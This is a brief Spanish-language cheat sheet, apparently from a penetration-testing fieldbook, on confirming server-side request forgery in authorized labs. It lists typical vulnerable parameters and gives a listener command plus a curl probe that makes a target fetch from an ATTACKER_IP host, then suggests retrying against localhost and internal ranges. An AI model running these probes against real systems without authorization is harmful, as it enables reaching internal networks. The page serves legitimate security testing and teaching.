

Ssrf

Solo para laboratorios autorizados. Sustituye variables, confirma versión y guarda salida.

Decisión rápida

1. Confirma alcance, identidad y conectividad.
2. Parte de una señal; no ejecutes toda la tabla.
3. Predice salida y prepara un control negativo.
4. Ejecuta la prueba menos intrusiva.
5. Registra evidencia y vuelve al módulo si falla.

Señales

- Un parametro llamado url, webhook, avatar, import, feed o callback.
- La app describe una funcion de 'importar desde URL' o 'verificar disponibilidad'.

Comandos y pruebas

Prueba	Objetivo/contexto	Evidencia esperada
<code>python3 -m http.server 8000</code>	Levanta un listener propio para confirmar el SSRF sin ambigüedad: si te llega la petición, sabes con certeza que el servidor sigue URLs que tu controlas.	El listener queda a la escucha. Combinalo con el siguiente comando para disparar la petición desde el servidor.
<code>curl -sS "\$URL/fetch?url=http://ATTACKER_IP:8000/"</code>	Dispara el SSRF apuntando al tu propio listener. Es la prueba minima y segura antes de tocar localhost o redes internas.	Una petición GET registrada en tu <code>python3 -m http.server</code> . Confirmado esto, repite el mismo parametro apuntando a 127.0.0.1 o al rango interno.

Diagnóstico

Síntoma	Comprobar
Sin respuesta	ruta, DNS, puerto, listener y firewall
Rechazo	sintaxis, credenciales, permisos y versión
Salida distinta	control negativo, caché y estado
Resultado parcial	identidad efectiva y precondiciones

Cierre

- Guardar comando adaptado y salida.
- Anotar qué confirma y qué no.
- No persistir secretos en notas compartidas.
- Restaurar cambios del laboratorio.

Fuente operativa: [conceptos de Fieldbook](#). Método: [construcción de payloads](#).